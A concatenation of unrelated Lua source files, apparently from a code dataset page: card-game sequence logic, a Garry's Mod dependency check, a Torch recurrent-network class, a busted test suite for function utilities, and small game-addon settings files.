if not length and #result >= self.minLength * self.sameCount then
return dealResult(cardStack, result)
end
result = {}
insertPos = 1
end
end
if realColor then --如果传进来花色则只执行一次
break
end
result = {}
insertPos = 1
end
end
--==========================================================
local cardList = data.srcCardStack:getCardList()
local targetCardByte = nil
if data.targetCardInfo and data.targetCardInfo.cardByte then
targetCardByte = data.targetCardInfo.cardByte
end
local length = data.targetCardInfo and #data.targetCardInfo.cardList
local queue = data.queue or 0
local mainCardList, otherCardList = separateMainCards(data.ruleDao, cardList)
local mainCardStack = new(CardStack, {cards = mainCardList})
local otherCardStack = new(CardStack, {cards = otherCardList})
if targetCardByte then
local targetCard = Card.new(targetCardByte)
if data.ruleDao:isMainCard(targetCard) then --主牌
if queue == 0 then --从大开始找,则先找大小王,再找普通序列
local result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对
if result then
return result, left
end
local result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
else --从小开始找,则先找普通序列,再找大小王
local result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
local result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对
if result then
return result, left
end
end
else --副牌
local result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
end
else
if queue == 0 then
local result, left
result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对
if result then
return result, left
end
result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
else
local result, left
result, left = findFromOneMap(otherCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
result, left = findFromOneMap(mainCardStack, self.lineMap[1], targetCardByte, length, queue)
if result then
return result, left
end
result, left = findFromKingMap(mainCardStack, targetCardByte, length) --先找大王小王连对
if result then
return result, left
end
end
end
end
function M:test()
self.sortRule = {
[1] = {
["args"] =
{
[1] = '大王>小王/K>Q>J>10>9>8>7>6>5>4>3>2>A',
},
},
}
self:init()
Log.e(self.lineMap)
local bytes = {0x2,0x2,0x3,0x3,0x5}
local cardList = CardUtils.getCardsFromBytes(bytes)
local outCardInfo = {
cardList = cardList,
}
Log.e(self:check({outCardInfo = outCardInfo}))
local bytes = {0x3,0x3,0x4,0x4,0x5,0x5,0x4e,0x4f,0x4f,0x4e,}
local cardList = CardUtils.getCardsFromBytes(bytes)
local srcCardStack = new(CardStack, {cards = cardList})
Log.e(self:find({srcCardStack = srcCardStack, queue = 1, }))
end
return M
|
local function FLOOD_REQUIRED_ITEMS_INSTALLED()
if file.Exists("weapons/arccw_bo1_asp.lua", "LUA") == true and file.Exists("autorun/arccw_autorun.lua", "LUA") == true and file.Exists("weapons/rust_syringe/shared.lua", "LUA") == true then return end
if SERVER then
print("===================Flood Installing Check====================")
print("|=========The required items haven't been installed=========|")
print("=============================================================")
end
if CLIENT then
Derma_Query("The required items haven't been installed. Subscribe the required items.", "Flood Installing Check", "Goto Subscribe", function() gui.OpenURL("https://steamcommunity.com/sharedfiles/filedetails/?id=2766690538") Flood_Default_Weapons = true end)
end
end
hook.Add("InitPostEntity", "FLOOD_REQUIRED_ITEMS_INSTALLED", FLOOD_REQUIRED_ITEMS_INSTALLED)
|
local AbstractRecurrent, parent = torch.class('srnn.AbstractRecurrent', 'srnn.RecurrentContainer')
function AbstractRecurrent:__init(...)
local function prepareTensorTable(nTensor)
local rs = {}
for _ = 1, nTensor do
table.insert(rs, torch.Tensor())
end
return rs
end
parent.__init(self, ...)
if self.initStateStorage.weight then
self.initStateStorage.weight:resize(self.nlayer, self.outputSize):zero()
self.initStateStorage.gradWeight:resize(self.nlayer, self.outputSize):zero()
else
self.initStateStorage.weight = torch.zeros(self.nlayer, self.outputSize)
self.initStateStorage.gradWeight = torch.zeros(self.nlayer, self.outputSize)
end
self.gradOutputLast = prepareTensorTable(self.nlayer)
end
function AbstractRecurrent:prepareForward(input)
local function reset_Table(tableIn, bsize, osize)
for _, unit in ipairs(tableIn) do
unit:resize(bsize, osize):zero()
end
end
local function pair_reset_Table(tableStd, tableSet, clear)
for _, unit in pairs(tableStd) do
if not tableSet[_] then
tableSet[_] = unit.new()
end
tableSet[_]:resizeAs(unit):zero()
end
if clear then
for _, unit in pairs(tableSet) do
if not tableStd[_] then
tableSet[_] = nil
end
end
end
end
-- if it is the first step, reset gradients for this process
if self.train and self.backwarded then
local bsize = input:size(1)
reset_Table(self.gradOutputLast, bsize, self.outputSize)
if #self.initStates > 1 then
pair_reset_Table(self.initStates, self.gradInitStates, true)
end
self:resetStep(true, false)
end
end
function AbstractRecurrent:clearState()
local function resetTable(tbin)
for _, unit in ipairs(tbin) do
unit:set()
end
end
resetTable(self.gradOutputLast)
return parent.clearState(self)
end
function AbstractRecurrent:getInput(step, input)
if self.inputs[step] then
return self.inputs[step]
else
local _input = {input}
-- for the first step, use init outputs and cells, for the later, use the output of the previous step module
if step > 1 then
for _, unit in ipairs(self:net(step - 1).output) do
table.insert(_input, unit)
end
else
local batchsize = input:size(1)
for _ = 1, self.nlayer do
table.insert(_input, self.initStates[_] or self.initStateStorage.weight[_]:reshape(1, self.outputSize):expand(batchsize, self.outputSize))
end
end
if self.train then
self.inputs[step] = _input
end
return _input
end
end
function AbstractRecurrent:getGradOutput(step, gradOutput, lastStep)
local function getCore(step, gradOutput, lastStep)
local function buildTable(tba, tbta)
for _, unit in ipairs(tbta) do
table.insert(tba, unit)
end
end
if self.gradOutputs[step] then
return self.gradOutputs[step]
else
local _gradOutput = {}
-- if this is the first time to backward, set step to current step and build _gradOutput with self.gradOutputLast and self.gradCellLast, otherwise build with the gradInput of the next step module's gradInput
if lastStep then
buildTable(_gradOutput, self.gradOutputLast)
else
local _gt = self:net(step + 1).gradInput
for _ = 2, #_gt do
table.insert(_gradOutput, _gt[_])
end
-- assume that updateGradInput was called at first, while accGradParameters, gradOutput will not be added for a second time
if gradOutput then
_gradOutput[self.nlayer]:add(gradOutput)
end
-- apply extra gradient if there is any
if self.gradOutputAdd[step] then
for _, grad in ipairs(self.gradOutputAdd[step]) do
_gradOutput[_]:add(grad)
end
self.gradOutputAdd[step] = nil
end
end
self.gradOutputs[step] = _gradOutput
return _gradOutput
end
end
local rs = getCore(step, gradOutput, lastStep)
-- for only one layer, just retrieve the only gradOutput
if #rs == 1 then
return rs[1]
else
return rs
end
end
|
print(hello)
print("... and a special hello goes out to Rufus!")
|
-- Generated by github.com/davyxu/tabtoy
-- Version: 2.8.10
local tab = {
TRecharge = {
{ Id = 1, Price = 6 },
{ Id = 2, Price = 12 },
{ Id = 3, Price = 30 },
{ Id = 4, Price = 68 },
{ Id = 5, Price = 128 },
{ Id = 6, Price = 348 },
{ Id = 7, Price = 648 }
}
}
-- Id
tab.TRechargeById = {}
for _, rec in pairs(tab.TRecharge) do
tab.TRechargeById[rec.Id] = rec
end
tab.Enum = {
}
return tab
|
local Functions = require "Functions"
local Clock = require "spec_source.Clock"
describe(
"Functions",
function()
local callSpy, clock
before_each(
function()
callSpy =
spy.new(
function(...)
return {..., n = select("#", ...)}
end
)
clock = Clock.setup()
end
)
after_each(
function()
clock:teardown()
end
)
describe(
"id",
function()
it(
"passes through args",
function()
assert.are.same({1, 2, 3}, {Functions.id(1, 2, 3)})
end
)
end
)
describe(
"noop",
function()
it(
"eliminates args",
function()
assert.are.same({}, {Functions.noop(1, 2, 3)})
end
)
end
)
describe(
"returns",
function()
it(
"returns as expected",
function()
assert.are.same({1, 2, 3}, {Functions.returns(1, 2, 3)(4, 5, 6)})
end
)
end
)
describe(
"throws",
function()
it(
"throws as expected",
function()
assert.errors(
function()
Functions.throws("ExpectedError")(4, 5, 6)
end,
"ExpectedError"
)
end
)
end
)
describe(
"once",
function()
it(
"runs once as expected",
function()
local count = 0
local once =
Functions.once(
function(amount)
count = count + amount
return count
end
)
assert.equal(3, once(3))
assert.equal(3, once(42))
assert.equal(3, once(1337))
end
)
end
)
describe(
"compose",
function()
it(
"composes functions as expected",
function()
local function fry(item)
return "fried " .. item
end
local function cheesify(item)
return "cheesy " .. item
end
local prepare = Functions.compose(fry, cheesify)
assert.equal("cheesy fried nachos", prepare("nachos"))
end
)
end
)
describe(
"bind",
function()
it(
"binds functions as expected",
function()
local function fry(item, amount)
return "fry " .. item .. " " .. amount .. " times"
end
local fryChips = Functions.bind(fry, "chips")
assert.equal("fry chips 10 times", fryChips(10))
end
)
end
)
describe(
"isCallable",
function()
it(
"true for a function",
function()
assert(
Functions.isCallable(
function()
end
)
)
end
)
it(
"true for a table with a __call metamethod",
function()
local tbl = {}
setmetatable(
tbl,
{
__call = function()
end
}
)
assert(Functions.isCallable(tbl))
end
)
it(
"false for a table without a __call metamethod",
function()
assert(not Functions.isCallable({}))
end
)
end
)
describe(
"memoize",
function()
it(
"Can memoize with default rule",
function()
local c = 10
local memoizedSum =
Functions.memoize(
function(a, b)
return a + b + c
end
)
assert.equal(13, memoizedSum(1, 2))
c = 20
assert.equal(13, memoizedSum(1, 2))
end
)
it(
"Can memoize with a custom cache key generator",
function()
local c = 10
local memoizedSum =
Functions.memoize(
function(a, b)
return a + b + c
end,
function(args)
return args[1]
end
)
assert.equal(13, memoizedSum(1, 2))
c = 20
assert.equal(13, memoizedSum(1, 10))
assert.equal(33, memoizedSum(2, 11))
end
)
it(
"Can clear the cache with a custom cache key generator",
function()
local c = 10
local memoizedSum =
Functions.memoize(
function(a, b)
return a + b + c
end,
function(args)
return args[1]
end
)
assert.equal(13, memoizedSum(1, 2))
c = 20
assert.equal(13, memoizedSum(1, 10))
memoizedSum:clear(1)
assert.equal(31, memoizedSum(1, 10))
end
)
end
)
describe(
"setTimeout",
function()
it(
"calls a function after a delay",
function()
Functions.setTimeout(callSpy, 2)
assert.spy(callSpy).was_not_called()
wait(3)
clock:process()
assert.spy(callSpy).was_called()
end
)
it(
"can be cleared",
function()
local timeout = Functions.setTimeout(callSpy, 2)
assert.spy(callSpy).was_not_called()
timeout:clear()
wait(3)
clock:process()
assert.spy(callSpy).was_not_called()
end
)
it(
"can be cleared inside the timeout",
function()
local clearCallSpy =
spy.new(
function(timeout)
timeout:clear()
end
)
local timeout = Functions.setTimeout(clearCallSpy, 2)
assert.spy(clearCallSpy).was_not_called()
timeout:clear()
wait(3)
clock:process()
assert.spy(clearCallSpy).was_not_called()
end
)
end
)
describe(
"setInterval",
function()
it(
"calls a function repeatedly at intervals",
function()
Functions.setInterval(callSpy, 2)
assert.spy(callSpy).was_not_called()
wait(3)
clock:process()
assert.spy(callSpy).called(1)
wait(2)
clock:process()
assert.spy(callSpy).called(2)
wait(2)
clock:process()
assert.spy(callSpy).called(3)
end
)
it(
"can be called immediately",
function()
Functions.setInterval(callSpy, 2, 0)
wait(0)
clock:process()
assert.spy(callSpy).was_called()
end
)
it(
"can be cleared",
function()
local interval = Functions.setInterval(callSpy, 2)
assert.spy(callSpy).was_not_called()
wait(3)
clock:process()
assert.spy(callSpy).called(1)
wait(2)
clock:process()
assert.spy(callSpy).called(2)
interval:clear()
wait(2)
clock:process()
assert.spy(callSpy).called(2)
end
)
it(
"can be cleared inside the function",
function()
local clearCallSpy =
spy.new(
function(interval)
interval:clear()
end
)
Functions.setInterval(clearCallSpy, 2)
assert.spy(clearCallSpy).was_not_called()
wait(3)
clock:process()
assert.spy(clearCallSpy).called(1)
wait(2)
clock:process()
assert.spy(clearCallSpy).called(1)
end
)
end
)
describe(
"Debounce",
function()
local debounced
before_each(
function()
debounced = Functions.debounce(callSpy, 100)
end
)
it(
"should not call before the delay has elapsed",
function()
debounced("hi")
assert.spy(callSpy).was_not_called()
wait(99)
clock:process()
assert.spy(callSpy).was_not_called()
end
)
it(
"should call after the delay",
function()
debounced("hi")
wait(100)
clock:process()
assert.spy(callSpy).was_called(1)
assert.spy(callSpy).was_called_with("hi")
end
)
it(
"should group calls and call the debounced function with the last arguments",
function()
local result = debounced("hi")
assert.are.same(result, nil)
local result2 = debounced("guys")
assert.are.same(result2, nil)
wait(100)
clock:process()
assert.spy(callSpy).was_called(1)
assert.spy(callSpy).was_called_with("guys")
local result3 = debounced("stuff")
assert.are.same({[1] = "guys", n = 1}, result3)
end
)
end
)
describe(
"Throttle",
function()
local throttled
before_each(
function()
throttled = Functions.throttle(callSpy, 100)
end
)
it(
"should be called immediately",
function()
assert.spy(callSpy).was_not_called()
local result = throttled("hi")
assert.spy(callSpy).was_called()
assert.are.same(
{
n = 1,
[1] = "hi"
},
result
)
end
)
it(
"should not be called subsequently but return available args",
function()
local result = throttled("hi")
assert.are.same(
{
n = 1,
[1] = "hi"
},
result
)
wait(50)
clock:process()
result = throttled("ho")
assert.spy(callSpy).was_called(1)
assert.are.same(
{
n = 1,
[1] = "hi"
},
result
)
end
)
it(
"should be called again after the timeout",
function()
local result = throttled("hi")
assert.are.same(
{
n = 1,
[1] = "hi"
},
result
)
wait(50)
clock:process()
result = throttled("ho")
assert.spy(callSpy).was_called(1)
assert.are.same(
{
n = 1,
[1] = "hi"
},
result
)
wait(100)
clock:process()
throttled("twit")
result = throttled("twoo")
assert.spy(callSpy).was_called(2)
assert.are.same(
{
n = 1,
[1] = "twit"
},
result
)
end
)
end
)
end
)
|
Settings = {}
Settings.SettingsOptionOne = false
|
-- Slightly Improved™ Dialogues
-- The MIT License © 2016 Arthur Corenzan
local NAMESPACE = "SlightlyImprovedDialogues"
local settings = {}
local panel =
{
type = "panel",
name = "Slightly Improved™ Dialogues",
displayName = "Slightly Improved™ Dialogues",
author = nil,
version = nil,
}
local options =
{
{
type = "checkbox",
name = "Goodbye Greyed out by Default",
tooltip = "Make the goodbye option always appear faded.",
getFunc = function() return settings.goodbyeAlwaysSeen end,
setFunc = function(value) settings.goodbyeAlwaysSeen = value end,
}, {
type = "checkbox",
name = "Prefix Options with their Numbers",
tooltip = "Add the corresponding number before each option in the dialogue.",
getFunc = function() return settings.addNumberPrefix end,
setFunc = function(value) settings.addNumberPrefix = value end,
},
}
CALLBACK_MANAGER:RegisterCallback(NAMESPACE.."_OnAddOnLoaded", function(savedVars)
settings = savedVars
local LAM = LibStub("LibAddonMenu-2.0")
LAM:RegisterAddonPanel(NAMESPACE, panel)
LAM:RegisterOptionControls(NAMESPACE, options)
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.